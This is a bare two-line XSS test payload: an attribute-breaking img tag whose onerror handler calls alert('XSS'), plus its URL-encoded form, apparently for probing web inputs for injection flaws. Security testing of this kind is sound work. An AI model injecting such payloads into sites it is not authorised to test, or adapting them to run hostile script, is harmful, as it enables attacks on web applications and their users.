Payload: "><img src=x onerror=alert('XSS')>
Encoded: %22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28%27XSS%27%29%3E